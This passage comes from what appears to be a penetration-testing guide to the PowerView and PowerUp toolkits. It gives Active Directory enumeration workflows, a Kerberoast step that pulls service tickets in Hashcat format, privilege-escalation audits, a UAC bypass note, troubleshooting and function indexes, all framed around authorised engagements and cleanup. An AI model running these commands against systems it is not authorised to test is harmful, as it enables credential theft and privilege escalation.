This is a UAC bypass helper, not a standard-user-to-admin privilege escalation: the current identity must already hold a suitable administrator token. The function temporarily changes the current user's `mscfile` shell-open command and tries to remove it afterward. Verify cleanup: 1452 1453 ```powershell 1454 Test-Path 'HKCU:\Software\Classes\mscfile' 1455 ``` 1456 1457 ### 16.8 Cleanup checklist 1458 1459 ```text 1460 [ ] Original service ImagePath/start mode/account restored 1461 [ ] Original executable/config file restored and hash checked 1462 [ ] Generated EXE/DLL/BAT/MSI/proof file removed 1463 [ ] Temporary user removed 1464 [ ] Temporary group membership removed 1465 [ ] Registry values/keys restored or removed 1466 [ ] Service/application starts and operates normally 1467 [ ] Transcript and evidence protected according to engagement rules 1468 [ ] Change and cleanup timestamps recorded 1469 ``` 1470 1471 --- 1472 1473 ## 17. Worked Workflows 1474 1475 ### 17.1 Low-noise domain orientation 1476 1477 ```powershell 1478 . .\PowerView.ps1 1479 $Domain = Get-Domain 1480 $DCs = Get-DomainController 1481 $Trusts = Get-DomainTrust 1482 $Policy = Get-DomainPolicyData 1483 1484 $Domain | Format-List Name,Forest,DomainControllers 1485 $DCs | Select-Object Name,IPAddress,SiteName,OperatingSystem 1486 $Trusts | Format-Table SourceName,TargetName,TrustDirection,TrustType -AutoSize 1487 $Policy.SystemAccess | Format-List 1488 ``` 1489 1490 ### 17.2 Identify a user's effective path to local admin 1491 1492 ```powershell 1493 $User = 'CORP\alice' 1494 1495 # Domain groups 1496 Get-DomainGroup -MemberIdentity $User | Select-Object samaccountname,distinguishedname 1497 1498 # GPO-derived local admin placements 1499 Get-DomainGPOUserLocalGroupMapping -Identity $User -LocalGroup Administrators 1500 1501 # Validate only the resulting hosts 1502 $Targets = Get-DomainGPOUserLocalGroupMapping -Identity $User -LocalGroup Administrators | 1503 Select-Object -ExpandProperty ComputerName -Unique 1504 $Targets | Test-AdminAccess 1505 ``` 1506 1507 ### 17.3 Investigate a BloodHound ACL edge 1508 1509 ```powershell 1510 $Principal = 'CORP\helpdesk' 1511 $Target = 'alice' 1512 $Sid = ConvertTo-SID $Principal 1513 1514 Get-DomainObjectAcl -Identity $Target -ResolveGUIDs | 1515 Where-Object SecurityIdentifier -eq $Sid | 1516 Select-Object AceType,ActiveDirectoryRights,ObjectAceType,IsInherited,InheritanceType 1517 ``` 1518 1519 Decision points: 1520 1521 1. Does the ACE apply to this object or only descendants of a particular class? 1522 2. Is it allowed or denied? 1523 3. Is the principal SID enabled in the current token through direct/nested membership? 1524 4. Is the target protected by AdminSDHolder or a protected DACL? 1525 5. What is the least disruptive proof and exact cleanup? 1526 1527 ### 17.4 Kerberoast exposure review 1528 1529 ```powershell 1530 $Candidates = Get-DomainUser ` 1531 -LDAPFilter '(&(servicePrincipalName=*)(!(samAccountName=krbtgt))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' ` 1532 -Properties samaccountname,serviceprincipalname,pwdlastset,lastlogon,memberof 1533 1534 $Candidates | 1535 Select-Object samaccountname,pwdlastset,lastlogon,@{n='SPNs';e={$_.serviceprincipalname -join ';'}} | 1536 Sort-Object pwdlastset | 1537 Export-Csv C:\Temp\assessment\kerberoast-candidates.csv -NoTypeInformation 1538 1539 # Request a ticket only for the approved test identity 1540 $Candidates | Where-Object samaccountname -eq 'svc_sql' | 1541 Get-DomainSPNTicket -OutputFormat Hashcat 1542 ``` 1543 1544 ### 17.5 Domain-to-host assessment flow 1545 1546 ```powershell 1547 . .\PowerView.ps1 1548 . .\PowerUp.ps1 1549 1550 # Domain side 1551 whoami /all 1552 Get-Domain 1553 Get-DomainGroup -MemberIdentity $env:USERNAME 1554 Get-DomainGPOUserLocalGroupMapping -Identity "$env:USERDOMAIN\$env:USERNAME" -LocalGroup Administrators 1555 1556 # Current host side 1557 Invoke-PrivescAudit -Format Object | 1558 Export-Clixml C:\Temp\assessment\powerup.xml 1559 ``` 1560 1561 ### 17.6 Validate and report an unquoted service path without exploitation 1562 1563 ```powershell 1564 $Finding = Get-UnquotedService | Where-Object ServiceName -eq 'VulnSvc' 1565 $Finding | Format-List * 1566 1567 Get-ServiceDetail -Name $Finding.ServiceName | Export-Clixml C:\Temp\assessment\VulnSvc.xml 1568 Get-Acl $Finding.ModifiablePath | Format-List | Out-File C:\Temp\assessment\VulnSvc-acl.txt 1569 ``` 1570 1571 Report: 1572 1573 - Exact unquoted `PathName`. 1574 - Candidate executable path Windows could select. 1575 - ACL entry granting write/create rights and the affected principal. 1576 - Privileged service account. 1577 - Trigger/restart conditions. 1578 - Evidence that the candidate file does not already exist or is controllable. 1579 - Recommended remediation: quote the path and remove unnecessary write rights. 1580 1581 --- 1582 1583 ## 18. Troubleshooting 1584 1585 | Symptom | Likely cause | Check / correction | 1586 |---|---|---| 1587 | `Get-DomainUser` not recognised | Script not loaded in current scope | `. .\PowerView.ps1`; then `Get-Command Get-DomainUser` | 1588 | Execution blocked | PowerShell policy, application control, AV/EDR, or constrained language | Do not disable controls without approval; use sanctioned admin tooling or collect the block evidence | 1589 | `The server is not operational` | DNS, DC reachability, LDAP signing/TLS, firewall, or wrong domain | `Resolve-DnsName`, `Test-NetConnection $DC -Port 389`, pin `-Server` | 1590 | Empty LDAP result | Wrong identity/filter/SearchBase, insufficient read, or queried wrong domain | Remove filters one at a time; inspect `Get-Domain`; test explicit `-Server` | 1591 | LDAP filter error | Bad escaping/parentheses or unsupported matching rule | Test a minimal filter and add clauses incrementally | 1592 | `Access is denied` on sessions/WMI | Remote API hardening, firewall, UAC token filtering, or rights | Test one known host and one API; do not treat access denial as “no session” | 1593 | Error 1219 on SMB | Existing connection to same server under another identity | `Get-SmbConnection`; remove the explicit connection you created, then retry consistently | 1594 | `Get-DomainObjectAcl -ResolveGUIDs` is slow | Schema GUID map resolution plus broad query | Query one identity; omit `-ResolveGUIDs` until final analysis | 1595 | PowerUp service result lacks immediate trigger | `CanRestart` false or service disabled | Document trigger dependency; do not reboot or alter service state without approval | 1596 | PowerUp false positive | Writable directory is not in actual load/execute path | Validate with service config, ACLs, ProcMon, and real execution context | 1597 | `Invoke-ServiceAbuse` changes but does not execute | Cannot restart, service command syntax, quoting, timeout, or AV | Inspect service state/config and event logs; restore from baseline | 1598 | HTML audit report missing | Current directory unwritable or deprecated switch usage | Use `Invoke-PrivescAudit -Format HTML` from a writable directory | 1599 | `AD:` drive unavailable | ActiveDirectory module/provider not installed | Use PowerView ACL output or an approved AD admin workstation for owner capture | 1600 | Different blog command fails | PowerView branch/version mismatch | `Get-Help <Function> -Full`; compare with the bundled function index below | 1601 1602 ### 18.1 Self-document the exact loaded build 1603 1604 ```powershell 1605 Get-Help Get-DomainUser -Full 1606 Get-Help Add-DomainObjectAcl -Examples 1607 Get-Help Invoke-PrivescAudit -Full 1608 Get-Command Get-DomainUser -Syntax 1609 Get-Command Invoke-ServiceAbuse -Syntax 1610 ``` 1611 1612 ### 18.2 Connectivity triage 1613 1614 ```powershell 1615 Resolve-DnsName corp.local 1616 Resolve-DnsName dc01.corp.local 1617 Test-NetConnection dc01.corp.local -Port 389 1618 Test-NetConnection dc01.corp.local -Port 445 1619 nltest.exe /dsgetdc:corp.local 1620 klist.exe 1621 ``` 1622 1623 --- 1624 1625 ## 19. Function and Alias Index 1626 1627 ### 19.1 PowerView domain functions 1628 1629 | Area | Functions | 1630 |---|---| 1631 | Name/SID conversion | `Resolve-IPAddress`, `ConvertTo-SID`, `ConvertFrom-SID`, `Convert-ADName`, `ConvertFrom-UACValue` | 1632 | Credentials/connections | `Get-PrincipalContext`, `Add-RemoteConnection`, `Remove-RemoteConnection`, `Invoke-UserImpersonation`, `Invoke-RevertToSelf` | 1633 | Kerberos | `Get-DomainSPNTicket`, `Invoke-Kerberoast` | 1634 | LDAP/DNS helpers | `Convert-LDAPProperty`, `Get-DomainSearcher`, `Convert-DNSRecord`, `Get-DomainDNSZone`, `Get-DomainDNSRecord` | 1635 | Domain/forest | `Get-Domain`, `Get-DomainController`, `Get-Forest`, `Get-ForestDomain`, `Get-ForestGlobalCatalog`, `Get-ForestSchemaClass`, `Get-DomainSID` | 1636 | Users | `Get-DomainUser`, `New-DomainUser`, `Set-DomainUserPassword`, `Get-DomainUserEvent` | 1637 | Computers/objects | `Get-DomainComputer`, `Get-DomainObject`, `Set-DomainObject`, `Get-DomainObjectAttributeHistory`, `Get-DomainObjectLinkedAttributeHistory` | 1638 | ACLs | `Get-DomainGUIDMap`, `New-ADObjectAccessControlEntry`, `Set-DomainObjectOwner`, `Get-DomainObjectAcl`, `Add-DomainObjectAcl`, `Remove-DomainObjectAcl`, `Find-InterestingDomainAcl` | 1639 | Directory layout | `Get-DomainOU`, `Get-DomainSite`, `Get-DomainSubnet` | 1640 | Groups | `Get-DomainGroup`, `New-DomainGroup`, `Get-DomainManagedSecurityGroup`, `Get-DomainGroupMember`, `Get-DomainGroupMemberDeleted`, `Add-DomainGroupMember`, `Remove-DomainGroupMember` | 1641 | Files/DFS | `Get-DomainFileServer`, `Get-DomainDFSShare`, `Find-InterestingFile`, `Find-DomainShare`, `Find-InterestingDomainShareFile` | 1642 | GPO/policy | `Get-GptTmpl`, `Get-GroupsXML`, `Get-DomainGPO`, `Get-DomainGPOLocalGroup`, `Get-DomainGPOUserLocalGroupMapping`, `Get-DomainGPOComputerLocalGroupMapping`, `Get-DomainPolicyData`, `Get-GPODelegation` | 1643 | Host/session | `Get-NetLocalGroup`, `Get-NetLocalGroupMember`, `Get-NetShare`, `Get-NetLoggedon`, `Get-NetSession`, `Get-RegLoggedOn`, `Get-NetRDPSession`, `Test-AdminAccess`, `Get-NetComputerSiteName` | 1644 | WMI/registry | `Get-WMIRegProxy`, `Get-WMIRegLastLoggedOn`, `Get-WMIRegCachedRDPConnection`, `Get-WMIRegMountedDrive`, `Get-WMIProcess` | 1645 | Hunters | `Find-DomainUserLocation`, `Find-DomainProcess`, `Find-DomainUserEvent`, `Find-LocalAdminAccess`, `Find-DomainLocalGroupMember` | 1646 | Trusts | `Get-DomainTrust`, `Get-ForestTrust`, `Get-DomainForeignUser`, `Get-DomainForeignGroupMember`, `Get-DomainTrustMapping` | 1647 | Export | `Export-PowerViewCSV` | 1648 1649 ### 19.2 Common legacy PowerView aliases 1650 1651 | Alias | Current function | 1652 |---|---| 1653 | `Get-NetDomain` | `Get-Domain` | 1654 | `Get-NetDomainController` | `Get-DomainController` | 1655 | `Get-NetForest` | `Get-Forest` | 1656 | `Get-NetForestDomain` | `Get-ForestDomain` | 1657 | `Get-NetUser` | `Get-DomainUser` | 1658 | `Get-NetComputer` | `Get-DomainComputer` | 1659 | `Get-NetGroup` | `Get-DomainGroup` | 1660 | `Get-NetGroupMember` | `Get-DomainGroupMember` | 1661 | `Get-ADObject` | `Get-DomainObject` | 1662 | `Set-ADObject` | `Set-DomainObject` | 1663 | `Get-ObjectAcl` | `Get-DomainObjectAcl` | 1664 | `Add-ObjectAcl` | `Add-DomainObjectAcl` | 1665 | `Invoke-ACLScanner` | `Find-InterestingDomainAcl` | 1666 | `Get-NetOU` / `Get-NetSite` / `Get-NetSubnet` | `Get-DomainOU` / `Get-DomainSite` / `Get-DomainSubnet` | 1667 | `Get-NetGPO` | `Get-DomainGPO` | 1668 | `Find-GPOLocation` | `Get-DomainGPOUserLocalGroupMapping` | 1669 | `Find-GPOComputerAdmin` | `Get-DomainGPOComputerLocalGroupMapping` | 1670 | `Invoke-UserHunter` | `Find-DomainUserLocation` | 1671 | `Invoke-ProcessHunter` | `Find-DomainProcess` | 1672 | `Invoke-ShareFinder` | `Find-DomainShare` | 1673 | `Invoke-FileFinder` | `Find-InterestingDomainShareFile` | 1674 | `Invoke-EnumerateLocalAdmin` | `Find-DomainLocalGroupMember` | 1675 | `Invoke-CheckLocalAdminAccess` | `Test-AdminAccess` | 1676 | `Get-NetDomainTrust` | `Get-DomainTrust` | 1677 | `Get-NetForestTrust` | `Get-ForestTrust` | 1678 | `Invoke-MapDomainTrust` | `Get-DomainTrustMapping` | 1679 | `Request-SPNTicket` | `Get-DomainSPNTicket` | 1680 | `Get-DomainPolicy` | `Get-DomainPolicyData` | 1681 1682 ### 19.3 PowerUp function index 1683 1684 | Area | Functions | 1685 |---|---| 1686 | Path/ACL helpers | `Get-ModifiablePath`, `Add-ServiceDacl`, `Test-ServiceDaclPermission` | 1687 | Token inspection | `Get-TokenInformation`, `Get-ProcessTokenGroup`, `Get-ProcessTokenPrivilege`, `Get-ProcessTokenType`, `Enable-Privilege` | 1688 | Service discovery | `Get-UnquotedService`, `Get-ModifiableServiceFile`, `Get-ModifiableService`, `Get-ServiceDetail` | 1689 | Service validation helpers | `Set-ServiceBinaryPath`, `Invoke-ServiceAbuse`, `Write-ServiceBinary`, `Install-ServiceBinary`, `Restore-ServiceBinary` | 1690 | DLL discovery/helpers | `Find-ProcessDLLHijack`, `Find-PathDLLHijack`, `Write-HijackDll` | 1691 | Registry | `Get-RegistryAlwaysInstallElevated`, `Get-RegistryAutoLogon`, `Get-ModifiableRegistryAutoRun` | 1692 | Task/install files | `Get-ModifiableScheduledTaskFile`, `Get-UnattendedInstallFile` | 1693 | Credential artefacts | `Get-WebConfig`, `Get-ApplicationHost`, `Get-SiteListPassword`, `Get-CachedGPPPassword` | 1694 | Other validation helpers | `Write-UserAddMSI`, `Invoke-EventVwrBypass` | 1695 | Full audit | `Invoke-PrivescAudit` (alias: `Invoke-AllChecks`) | 1696 1697 --- 1698 1699 ## 20. One-Screen Quick Reference 1700 1701 ```powershell 1702 # LOAD 1703 . .\PowerView.ps1 1704 . .\PowerUp.ps1 1705 1706 # DOMAIN BASELINE 1707 Get-Domain 1708 Get-DomainController 1709 Get-ForestDomain 1710 Get-DomainTrustMapping 1711 Get-DomainPolicyData 1712 1713 # PRINCIPALS 1714 Get-DomainUser -AdminCount 1715 Get-DomainUser -SPN 1716 Get-DomainUser -PreauthNotRequired 1717 Get-DomainComputer -Unconstrained 1718 Get-DomainComputer -TrustedToAuth 1719 Get-DomainGroupMember -Identity 'Domain Admins' -Recurse 1720 1721 # ACL/GPO 1722 Find-InterestingDomainAcl -ResolveGUIDs 1723 Get-DomainObjectAcl -Identity alice -ResolveGUIDs 1724 Get-GPODelegation 1725 Get-DomainGPOUserLocalGroupMapping -Identity alice -LocalGroup Administrators 1726 1727 # HOSTS/SESSIONS/SHARES 1728 Find-LocalAdminAccess -Threads 20 1729 Find-DomainShare -CheckShareAccess -Threads 20 1730 Get-NetSession -ComputerName fs01 1731 Get-NetLocalGroupMember -ComputerName ws01 -GroupName Administrators 1732 1733 # POWERUP 1734 $Findings = Invoke-PrivescAudit -Format Object 1735 Get-UnquotedService 1736 Get-ModifiableServiceFile 1737 Get-ModifiableService 1738 Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles 1739 Get-RegistryAutoLogon 1740 Get-RegistryAlwaysInstallElevated 1741 1742 # HELP FOR THIS EXACT BUILD 1743 Get-Command Get-DomainUser -Syntax 1744 Get-Help Add-DomainObjectAcl -Examples 1745 Get-Help Invoke-ServiceAbuse -Full 1746 ``` 1747 1748 > [!success] Core habit 1749 > Enumerate narrowly, validate assumptions, capture the original state, make the smallest authorised proof, clean up, and verify restoration. PowerView and PowerUp are most valuable as evidence-producing inspection tools—not as one-click escalation buttons.